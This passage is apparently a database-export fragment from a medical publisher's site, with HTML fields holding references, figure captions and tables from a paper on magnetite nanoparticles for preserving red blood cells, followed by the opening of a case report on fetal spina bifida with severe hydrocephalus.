Belousova E (2018) The Creature of the New Effective Methods Modernization Preservative Solution for Red Blood Cells by Means Preparations of Nanotechnology. International Journal of Nanotechnology &amp; Nanomedicine. OPAST GROUP LLC. USA 3: 1-8. </span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\">Belousov A, Malygon E, Yavorskiy V, Belousova E (2018) Simple and practical method of Additive Modernization of Preservation Solutions that does not violate the Compliance requirements and Improved the Quality, Efficiency, Safety Transfusion of Preserved RBCs. International Journal of Hematology and Blood Disorders. Symbiosis Group. USA 3: 1-9.</span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\">U Vijaya Ushasree, Adee Ahmad (2017) FTIR Spectroscopic analysis on human blood groups. International Journal of Science Environment and Technology 6: 1685 -1689.</span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\">Verbalovic VP (1977) Infrared spectroscopy of biological membranes. Science. The Kazakh SSR, Alma-Ata 127.</span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\">Kozitsina LA, Kupletskaya NB (1971) Application of UF, IR and IMR spectroscopy in organic chemistry:&nbsp; 213.</span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\">Cross A (1961) Introduction to practical infrared spectroscopy. Publishing House for Foreign Literature, Moscow, 110.</span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\">Babushkin AA, Bazhulin PA, Korolev FA (1962) Methods of spectral analysis. Publishing house of the Moscow University 509.</span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\">Gribov LA (1965) Introduction to the theory and calculation of vibrational spectra of many molecules. Ed. LGI 134.</span></span></li>\r\n	<li><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\">Kesler I (1964) Methods of infrared spectroscopy in chemical analysis. M. The World 257.</span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\">Mihai Gutu, Mihaela Avadanei, Mihai Marinca and Cipriana Stefanescu (2017) Exploratory Infrared Spectroscopy study of erythrocytes in cancer chemotherapy. Rev. Roum. Chim 62: 181-190.</span></span></li>\r\n	<li><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\">Myshkin VF (2012) Structure and properties of water irradiated by microwave radiation. The scientific journal of the Kuban state agrarian University 81: 1-12.</span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\">Voevoda MI, Kruchinina MV, Peltek SE (2012) The use of optical methods of blood tests in the diagnosis of the disease stage in diffuse liver disease. Archive of internal medicine 6: 46-54.</span></span></li>\r\n</ol>\r\n','<p style=\"text-align:center\"><img alt=\"\" src=\"https://grfpublishers.com/assets/ckeditor/plugins/imageuploader/uploads/143511142.png\" style=\"height:303px; width:428px\" /></p>\r\n\r\n<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Figure 1:</strong> The hemolysis inhibition effect with using method of additive modernization of preservative solutions adapted to the manufacture process on the 35th day of the study.</span></p>\r\n\r\n<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><img alt=\"\" src=\"https://grfpublishers.com/assets/ckeditor/plugins/imageuploader/uploads/1442565a1.png\" style=\"height:327px; width:428px\" /></span></p>\r\n\r\n<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Figure 2: </strong>Study of magnetite nanoparticles with use microscope ion-electronic raster-type Quanta 200 3D</span></p>\r\n\r\n<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><img alt=\"\" src=\"https://grfpublishers.com/assets/ckeditor/plugins/imageuploader/uploads/14525e772.png\" style=\"height:365px; width:428px\" /></span></p>\r\n\r\n<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Figure 3:</strong> Study of magnetite nanoparticles with use microscope electronic translucent JEM-2100</span></p>\r\n\r\n<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><img alt=\"\" src=\"https://grfpublishers.com/assets/ckeditor/plugins/imageuploader/uploads/1462c79cc.png\" style=\"height:203px; width:728px\" /></span></p>\r\n\r\n<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong><span style=\"font-size:10.0pt\">Figure 4:</span></strong><span style=\"font-size:10.0pt\"> IR absorption spectra of initial erythrocyte suspensions in the range 400-1300 cm<sup>-1</sup>: curve 1- control;&nbsp;</span></span><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"font-size:10.0pt\">curve 2 - test</span></span></p>\r\n\r\n<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"font-size:10.0pt\"><img alt=\"\" src=\"https://grfpublishers.com/assets/ckeditor/plugins/imageuploader/uploads/147c135c3.png\" style=\"height:577px; width:728px\" /></span></span></p>\r\n\r\n<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong><span style=\"font-size:10.0pt\">Figure 5:</span></strong><span style=\"font-size:10.0pt\"> IR absorption spectra of initial erythrocyte suspensions in the range 1200-4000 ?m<sup>-1</sup>: curve 1- control; curve 2 - test</span></span></p>\r\n\r\n<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"font-size:10.0pt\"><img alt=\"\" src=\"https://grfpublishers.com/assets/ckeditor/plugins/imageuploader/uploads/1482b2944.png\" style=\"height:783px; width:828px\" /></span></span></p>\r\n\r\n<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Figure 6:</strong> IR absorption spectra of the sample of control consisting of RBCs suspension in native saline solution in CPD medium: curve 1- stage I (day 1); curve 2- stage II (day 7); curve 3- stage III (day 14); curve 4- stage IV(day 21); curve 5- stage V(day 28).</span></p>\r\n\r\n<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><img alt=\"\" src=\"https://grfpublishers.com/assets/ckeditor/plugins/imageuploader/uploads/1492f234b.png\" style=\"height:682px; width:728px\" /></span></p>\r\n\r\n<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Figure 7:</strong> IR absorption spectra of a sample consisting of a suspension of erythrocytes in a saline solution treated with magnetite nanoparticles in CPD medium: curve 1- stage I (day 1); curve 2- stage II (day 7); curve 3- stage III (day 14); curve 4- stage IV (day 21); curve 5- stage V (day 28).</span></p>\r\n\r\n<p style=\"text-align:center\"><img alt=\"\" src=\"https://grfpublishers.com/assets/ckeditor/plugins/imageuploader/uploads/150df706a.png\" style=\"height:525px; width:330px\" /></p>\r\n\r\n<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Figure 8: </strong>&nbsp;IR absorption spectra of the sample of control consisting of RBCs suspension in native saline solution in CPDA-1 mediumon main stages of the study: curve 1- stage I (day 1); curve 2 - stage V (day 28); curve 3 - stage VII(day 42).</span></p>\r\n\r\n<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><img alt=\"\" src=\"https://grfpublishers.com/assets/ckeditor/plugins/imageuploader/uploads/1512ffabe.png\" style=\"height:520px; width:330px\" /></span></p>\r\n\r\n<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Figure 9:</strong> IR absorption spectra of the sample of test consisting of RBCs suspension in preservative CPDA-1 with saline solution that previously was processed by ICNB on main stages of the study: curve 1- stage I (day 1); curve 2 - stage V (day 28); curve 3 - stage VII (day 42).</span></p>\r\n','<p style=\"margin-left:0in; margin-right:13.8pt\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Citation: </strong>Belousov A, Malygon E, Yavorskiy V, Belousova E (2019) Stabilization of Molecular Structure Membranes of Preserved Rbcs by Means Nanotechnology. Ann Med &amp; Surg Case Rep: AMSCR: 100001.</span></span></p>\r\n','<div>\r\n<table align=\"center\" border=\"1\" cellspacing=\"0\" class=\"Table\" style=\"width:700px\">\r\n	<thead>\r\n		<tr>\r\n			<th scope=\"col\" style=\"background-color:#4caf50; width:87.55pt\">\r\n			<p><strong><span style=\"font-size:10.0pt\">Phase name</span></strong></p>\r\n			</th>\r\n			<th scope=\"col\" style=\"background-color:#4caf50; width:63pt\">\r\n			<p><strong><span style=\"font-size:10.0pt\">a (?)</span></strong></p>\r\n			</th>\r\n			<th scope=\"col\" style=\"background-color:#4caf50; width:63pt\">\r\n			<p><strong><span style=\"font-size:10.0pt\">b (?)</span></strong></p>\r\n			</th>\r\n			<th scope=\"col\" style=\"background-color:#4caf50; width:63pt\">\r\n			<p><strong><span style=\"font-size:10.0pt\">c (?)</span></strong></p>\r\n			</th>\r\n			<th scope=\"col\" style=\"background-color:#4caf50; width:63pt\">\r\n			<p><strong><span style=\"font-size:10.0pt\">alpha (degree)</span></strong></p>\r\n			</th>\r\n			<th scope=\"col\" style=\"background-color:#4caf50; width:1in\">\r\n			<p><strong><span style=\"font-size:10.0pt\">beta (degree)</span></strong></p>\r\n			</th>\r\n			<th scope=\"col\" style=\"background-color:#4caf50; width:70.4pt\">\r\n			<p><strong><span style=\"font-size:10.0pt\">gamma (degree)</span></strong></p>\r\n			</th>\r\n		</tr>\r\n	</thead>\r\n	<tbody>\r\n		<tr>\r\n			<td style=\"width:87.55pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">magnetite low</span></strong></p>\r\n			</td>\r\n			<td style=\"width:63.0pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">8.387836</span></p>\r\n			</td>\r\n			<td style=\"width:63.0pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">8.387836</span></p>\r\n			</td>\r\n			<td style=\"width:63.0pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">8.387836</span></p>\r\n			</td>\r\n			<td style=\"width:63.0pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">90.00</span></p>\r\n			</td>\r\n			<td style=\"width:1.0in\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">90.00</span></p>\r\n			</td>\r\n			<td style=\"width:70.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">90.00</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:87.55pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">magnetite low, syn</span></strong></p>\r\n			</td>\r\n			<td style=\"width:63.0pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">5.930687</span></p>\r\n			</td>\r\n			<td style=\"width:63.0pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">5.930687</span></p>\r\n			</td>\r\n			<td style=\"width:63.0pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">14.705912</span></p>\r\n			</td>\r\n			<td style=\"width:63.0pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">90.00</span></p>\r\n			</td>\r\n			<td style=\"width:1.0in\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">90.00</span></p>\r\n			</td>\r\n			<td style=\"width:70.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">120.00</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:87.55pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">Johannsenite</span></strong></p>\r\n			</td>\r\n			<td style=\"width:63.0pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">9.891680</span></p>\r\n			</td>\r\n			<td style=\"width:63.0pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">9.059276</span></p>\r\n			</td>\r\n			<td style=\"width:63.0pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">5.282908</span></p>\r\n			</td>\r\n			<td style=\"width:63.0pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">90.00</span></p>\r\n			</td>\r\n			<td style=\"width:1.0in\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">105.54</span></p>\r\n			</td>\r\n			<td style=\"width:70.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">90.00</span></p>\r\n			</td>\r\n		</tr>\r\n	</tbody>\r\n</table>\r\n\r\n<p>&nbsp;</p>\r\n\r\n<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Table 1:</strong> The calculated lattice parameters of the phases</span></p>\r\n\r\n<table align=\"center\" border=\"1\" cellspacing=\"0\" class=\"Table\" style=\"width:700px\">\r\n	<thead>\r\n		<tr>\r\n			<th scope=\"col\" style=\"background-color:#4caf50; width:70.65pt\">\r\n			<p><strong><span style=\"font-size:10.0pt\">Compound</span></strong></p>\r\n			</th>\r\n			<th scope=\"col\" style=\"background-color:#4caf50; width:56.95pt\">\r\n			<p><strong><span style=\"font-size:10.0pt\">Weight%</span></strong></p>\r\n			</th>\r\n			<th scope=\"col\" style=\"background-color:#4caf50; width:56.7pt\">\r\n			<p><strong><span style=\"font-size:10.0pt\">StdErr</span></strong></p>\r\n			</th>\r\n			<th scope=\"col\" style=\"background-color:#4caf50; width:42.55pt\">\r\n			<p><strong><span style=\"font-size:10.0pt\">El</span></strong></p>\r\n			</th>\r\n			<th scope=\"col\" style=\"background-color:#4caf50; width:56.7pt\">\r\n			<p><strong><span style=\"font-size:10.0pt\">Weight%/ O<sub>2</sub></span></strong></p>\r\n			</th>\r\n			<th scope=\"col\" style=\"background-color:#4caf50; width:63.75pt\">\r\n			<p><strong><span style=\"font-size:10.0pt\">StdErr</span></strong></p>\r\n			</th>\r\n			<th scope=\"col\" style=\"background-color:#4caf50; width:35.2pt\">\r\n			<p><strong><span style=\"font-size:10.0pt\">El</span></strong></p>\r\n			</th>\r\n			<th scope=\"col\" style=\"background-color:#4caf50; width:49.6pt\">\r\n			<p><strong><span style=\"font-size:10.0pt\">Weight%</span></strong></p>\r\n			</th>\r\n			<th scope=\"col\" style=\"background-color:#4caf50; width:49.6pt\">\r\n			<p><strong><span style=\"font-size:10.0pt\">StdErr</span></strong></p>\r\n			</th>\r\n		</tr>\r\n	</thead>\r\n	<tbody>\r\n		<tr>\r\n			<td style=\"width:70.65pt\">\r\n			<p><span style=\"font-size:10.0pt\">Fe<sub>3</sub>O<sub>4</sub></span></p>\r\n\r\n			<p><span style=\"font-size:10.0pt\">CaOP<sub>2</sub>O<sub>5</sub></span></p>\r\n\r\n			<p><span style=\"font-size:10.0pt\">MnO SiO<sub>2</sub> SO<sub>3</sub></span></p>\r\n\r\n			<p><span style=\"font-size:10.0pt\">Cl</span></p>\r\n			</td>\r\n			<td style=\"width:56.95pt\">\r\n			<p><span style=\"font-size:10.0pt\">97.37</span></p>\r\n\r\n			<p><span style=\"font-size:10.0pt\">2.26</span></p>\r\n\r\n			<p><span style=\"font-size:10.0pt\">0.280</span></p>\r\n\r\n			<p><span style=\"font-size:10.0pt\">0.255</span></p>\r\n\r\n			<p><span style=\"font-size:10.0pt\">0.098</span></p>\r\n\r\n			<p><span style=\"font-size:10.0pt\">0.032</span></p>\r\n\r\n			<p><span style=\"font-size:10.0pt\">0.0280</span></p>\r\n			</td>\r\n			<td style=\"width:56.7pt\">\r\n			<p><span style=\"font-size:10.0pt\">0.09</span></p>\r\n\r\n			<p><span style=\"font-size:10.0pt\">0.07</span></p>\r\n\r\n			<p><span style=\"font-size:10.0pt\">0.027</span></p>\r\n\r\n			<p><span style=\"font-size:10.0pt\">0.013</span></p>\r\n\r\n			<p><span style=\"font-size:10.0pt\">0.027</span></p>\r\n\r\n			<p><span style=\"font-size:10.0pt\">0.013</span></p>\r\n\r\n			<p><span style=\"font-size:10.0pt\">0.0090</span></p>\r\n			</td>\r\n			<td style=\"width:42.55pt\">\r\n			<p><span style=\"font-size:10.0pt\">Fe Ca PxMn Si Sx Cl</span></p>\r\n			</td>\r\n			<td style=\"width:56.7pt\">\r\n			<p><span style=\"font-size:10.0pt\">68.40</span></p>\r\n\r\n			<p><span style=\"font-size:10.0pt\">1.71</span></p>\r\n\r\n			<p><span style=\"font-size:10.0pt\">0.122</span></p>\r\n\r\n			<p><span style=\"font-size:10.0pt\">0.198</span></p>\r\n\r\n			<p><span style=\"font-size:10.0pt\">0.046</span></p>\r\n\r\n			<p><span style=\"font-size:10.0pt\">0.0126</span></p>\r\n\r\n			<p><span style=\"font-size:10.0pt\">0.0280</span></p>\r\n			</td>\r\n			<td style=\"width:63.75pt\">\r\n			<p><span style=\"font-size:10.0pt\">0.07</span></p>\r\n\r\n			<p><span style=\"font-size:10.0pt\">0.05</span></p>\r\n\r\n			<p><span style=\"font-size:10.0pt\">0.012</span></p>\r\n\r\n			<p><span style=\"font-size:10.0pt\">0.010</span></p>\r\n\r\n			<p><span style=\"font-size:10.0pt\">0.013</span></p>\r\n\r\n			<p><span style=\"font-size:10.0pt\">0.0051</span></p>\r\n\r\n			<p><span style=\"font-size:10.0pt\">0.0090</span></p>\r\n			</td>\r\n			<td style=\"width:35.2pt\">\r\n			<p><span style=\"font-size:10.0pt\">Fe</span></p>\r\n\r\n			<p><span style=\"font-size:10.0pt\">Ca</span></p>\r\n\r\n			<p><span style=\"font-size:10.0pt\">Px</span></p>\r\n\r\n			<p><span style=\"font-size:10.0pt\">Mn</span></p>\r\n\r\n			<p><span style=\"font-size:10.0pt\">Si</span></p>\r\n\r\n			<p><span style=\"font-size:10.0pt\">Sx</span></p>\r\n\r\n			<p><span style=\"font-size:10.0pt\">Cl</span></p>\r\n			</td>\r\n			<td style=\"width:49.6pt\">\r\n			<p><span style=\"font-size:10.0pt\">97.62</span></p>\r\n\r\n			<p><span style=\"font-size:10.0pt\">2.3</span></p>\r\n\r\n			<p><span style=\"font-size:10.0pt\">0.157</span></p>\r\n\r\n			<p><span style=\"font-size:10.0pt\">0.278</span></p>\r\n\r\n			<p><span style=\"font-size:10.0pt\">0.059</span></p>\r\n\r\n			<p><span style=\"font-size:10.0pt\">0.0164</span></p>\r\n\r\n			<p><span style=\"font-size:10.0pt\">0.0380</span></p>\r\n			</td>\r\n			<td style=\"width:49.6pt\">\r\n			<p><span style=\"font-size:10.0pt\">0.09</span></p>\r\n\r\n			<p><span style=\"font-size:10.0pt\">0.07</span></p>\r\n\r\n			<p><span style=\"font-size:10.0pt\">0.015</span></p>\r\n\r\n			<p><span style=\"font-size:10.0pt\">0.014</span></p>\r\n\r\n			<p><span style=\"font-size:10.0pt\">0.016</span></p>\r\n\r\n			<p><span style=\"font-size:10.0pt\">0.0066</span></p>\r\n\r\n			<p><span style=\"font-size:10.0pt\">0.012</span></p>\r\n			</td>\r\n		</tr>\r\n	</tbody>\r\n</table>\r\n\r\n<p style=\"text-align:center\">&nbsp;</p>\r\n\r\n<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Table 2:</strong> Determination of percent composition of the ICNB by ?-ray spectrometer ARL OPTIM&#39;X (semi- quantitative analysis)</span></p>\r\n\r\n<p style=\"text-align:center\">&nbsp;</p>\r\n\r\n<div>\r\n<table align=\"center\" border=\"1\" cellspacing=\"0\" class=\"Table\" style=\"width:700px\">\r\n	<tbody>\r\n		<tr>\r\n			<td style=\"background-color:#002060; width:117.55pt\">\r\n			<p style=\"text-align:center\"><span style=\"color:#ffffff\"><strong><span style=\"font-size:10.0pt\">Phase</span></strong></span></p>\r\n			</td>\r\n			<td style=\"background-color:#002060; width:91.8pt\">\r\n			<p style=\"text-align:center\"><span style=\"color:#ffffff\"><strong><span style=\"font-size:10.0pt\">Formula</span></strong></span></p>\r\n			</td>\r\n			<td style=\"background-color:#002060; width:149.05pt\">\r\n			<p style=\"text-align:center\"><span style=\"color:#ffffff\"><strong><span style=\"font-size:10.0pt\">Space group</span></strong></span></p>\r\n			</td>\r\n			<td style=\"background-color:#002060; width:123.55pt\">\r\n			<p style=\"text-align:center\"><span style=\"color:#ffffff\"><strong><span style=\"font-size:10.0pt\">? Card Database ICDD</span></strong></span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:117.55pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">magnetite low</span></strong></p>\r\n			</td>\r\n			<td style=\"width:91.8pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Fe</span><sub><span style=\"font-size:10.0pt\">2</span></sub><span style=\"font-size:10.0pt\">.886 O<sub>4</sub></span></p>\r\n			</td>\r\n			<td style=\"width:149.05pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">227 : Fd-3m, choice-2</span></p>\r\n			</td>\r\n			<td style=\"width:123.55pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">10861339 (ICDD)</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:117.55pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">magnetite low, syn</span></strong></p>\r\n			</td>\r\n			<td style=\"width:91.8pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Fe<sub>3</sub>O<sub>4</sub></span></p>\r\n			</td>\r\n			<td style=\"width:149.05pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">166 : R-3m, hexagonal</span></p>\r\n			</td>\r\n			<td style=\"width:123.55pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">10716766 (ICDD)</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:117.55pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">Johannsenite</span></strong></p>\r\n			</td>\r\n			<td style=\"width:91.8pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Ca Mn +2 Si<sub>2</sub>O<sub>6</sub></span></p>\r\n			</td>\r\n			<td style=\"width:149.05pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">15 : C12/c1, unique-b,cell-1</span></p>\r\n			</td>\r\n			<td style=\"width:123.55pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">380413 (ICDD)</span></p>\r\n			</td>\r\n		</tr>\r\n	</tbody>\r\n</table>\r\n\r\n<p style=\"text-align:center\">&nbsp;</p>\r\n\r\n<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Table 3:</strong> X-ray analysis of ICNB in X-ray diffractometer RigakuUltima IV (CuK&alpha;, K&beta; filter - Ni), one-coordinate DTeX semiconductor detec</span></p>\r\n\r\n<p style=\"text-align:center\">&nbsp;</p>\r\n\r\n<div>\r\n<table align=\"center\" border=\"1\" cellspacing=\"0\" class=\"Table\" style=\"width:700px\">\r\n	<tbody>\r\n		<tr>\r\n			<td style=\"background-color:#002060; width:266.25pt\">\r\n			<p style=\"text-align:center\"><span style=\"color:#ffffff\"><strong><span style=\"font-size:10.0pt\">Phases (method of corundum numbers)</span></strong></span></p>\r\n			</td>\r\n			<td style=\"background-color:#002060; width:205.35pt\">\r\n			<p style=\"text-align:center\"><span style=\"color:#ffffff\"><strong><span style=\"font-size:10.0pt\">Content, %</span></strong></span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:266.25pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">magnetite low</span></p>\r\n			</td>\r\n			<td style=\"width:205.35pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">71</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:266.25pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">magnetite low, syn (hexagonal)</span></p>\r\n			</td>\r\n			<td style=\"width:205.35pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">29</span></p>\r\n			</td>\r\n		</tr>\r\n	</tbody>\r\n</table>\r\n\r\n<p style=\"text-align:center\">&nbsp;</p>\r\n\r\n<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Table 4: </strong>The phases of magnetite of nanoparticles (RIR - method; error 8 &plusmn; 3%)</span></p>\r\n\r\n<p style=\"text-align:center\">&nbsp;</p>\r\n\r\n<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><img alt=\"\" src=\"https://grfpublishers.com/assets/ckeditor/plugins/imageuploader/uploads/15208236a.png\" style=\"height:574px; width:728px\" /></span></p>\r\n\r\n<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong><span style=\"font-size:10.0pt\">Table 5:</span></strong><span style=\"font-size:10.0pt\"> Identification of absorption bands in the IR spectra of the initial RBCs suspension</span></span></p>\r\n</div>\r\n</div>\r\n</div>\r\n','1550039858.pdf',NULL,'1550039861.jpg','',0,1,'2019-02-13 12:07:40','2019-02-13 12:37:01',1),(38,17,'20','2019','The Case of Fetus Neural Tube Defect: Spina Bifida with Severe Hydrocephalus','Mindaugas Sakys1,2*, Dainius Wojczulis1,2, Zygimantas Macys2, Audrone Arlauskiene1,2, Diana Ramasauskaite1,2, Dalia Lauzikiene1,2, Jolita Zakareviciene1,2','Case Report','The-Case-of-Fetus-Neural-Tube-Defect-Spina-Bifida-with-Severe-Hydrocephalus','The-Case-of-Fetus-Neural-Tube-Defect-Spina Bifida with Severe Hydrocephalus','The Case of Fetus Neural-Tube-Defect-Spina-Bifida-with-Severe-Hydrocephalus','The-Case-of-Fetus-Neural-Tube-Defect-Spina-Bifida-with-Severe-Hydrocephalus','<p style=\"text-align:center\"><span style=\"font-size:18px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong><span style=\"color:black\">Annals of Pediatrics and Child Care</span></strong></span></span></p>\r\n\r\n<p style=\"text-align:center\"><span style=\"font-size:18px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>The Case of Fetus Neural Tube Defect: Spina Bifida with Severe Hydrocephalus</strong></span></span></p>\r\n\r\n<p style=\"text-align:justify\"><strong>Mindaugas Sakys<sup>1,2<span style=\"color:red\">*</span></sup></strong><strong>, Dainius Wojczulis<sup>1,2</sup>, Zygimantas Macys<sup>2</sup>, Audrone Arlauskiene<sup>1,2</sup>, Diana Ramasauskaite<sup>1,2</sup>, Dalia Lauzikiene<sup>1,2</sup>, Jolita Zakareviciene<sup>1,2</sup></strong></p>\r\n\r\n<p style=\"text-align:justify\"><sup>1</sup>Vilnius University Hospital Santaros klinikos Centre of Obstetrics and Gynaecology, Lithuania</p>\r\n\r\n<p style=\"text-align:justify\"><sup>2</sup>Vilnius University Faculty of Medicine, Institute of clinical medicine, Clinic of Obstetrics and Gynaecology, Lithuania</p>\r\n\r\n<p style=\"text-align:justify\"><strong><sup><span style=\"color:red\">*</span></sup>Corresponding author: </strong>Mindaugas Sakys, Vilnius University Hospital Santaros klinikos Centre of Obstetrics and Gynaecology, Universiteto g. 3, Vilnius 01513, Lithuania, Tel: +37064454944; Email: <a href=\"mailto:mindaugassakys@yahoo.co.uk\">mindaugassakys@yahoo.co.uk</a></p>\r\n\r\n<p style=\"text-align:justify\"><strong>Citation:</strong>Sakys M, Wojczulis D, Macys Z, Arlauskiene A, Ramasauskaite D, et al. (2019) The Case of Fetus Neural Tube Defect: Spina Bifida with Severe Hydrocephalus. Ann Pediatr Child Care: APCC-100002.</p>\r\n\r\n<p><strong><span style=\"font-family:&quot;Times New Roman&quot;,serif\">Received Date: </span></strong><span style=\"font-family:&quot;Times New Roman&quot;,serif\">20 January, 2019;<strong> Accepted Date: </strong>11 February, 2019;<strong> Published Date: </strong>26 February, 2019</span></p>\r\n','<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>1. Abstract</strong></span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">Neural tube defects are congenital spinal cord, spine or brain malformations. Clinical manifestation of neural tube defects varies from mild form to severe - anencephaly, which is fatal. We present a case of a newborn with spina bifida and severe hydrocephalus.</span></p>\r\n','<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>2. Keywords:</strong>Hydrocephalus; Myelomeningocele;Neural tube malformation;Spina bifida</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>3. Introduction</strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Neural tube defect (NTD) is a result of dysfunction in neurulation process between third and fourth week of gestation. Myelomeningocele (MMC) is the most common NTD. It is characterized by a cleft in the vertebral column, with a corresponding defect in the skin so that the meninges and spinal cord are exposed. This can lead to a sensory function loss, lower limb paralysis, bladder and bowel dysfunction. Incidence of spina bifida is 1 of 1000 newborns [1]. The etiology is multifactorial, starting with genetic mutations to an inadequate nutrition. Spina bifida is surgically treatable malformation usually by closuring the spinal cord with spinal deformity reconstruction. This defect is compatible with long-term survival, however upper vertebral column spina bifida is associated with severe disability even after successful operation.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Hydrocephalus is a common disorder of cerebral spinal fluid (CSF) physiology resulting in abnormal expansion of the cerebral ventricles and increased intraventricular pressure. Infants commonly present with progressive macrocephaly whereas children older than 2 years generally present 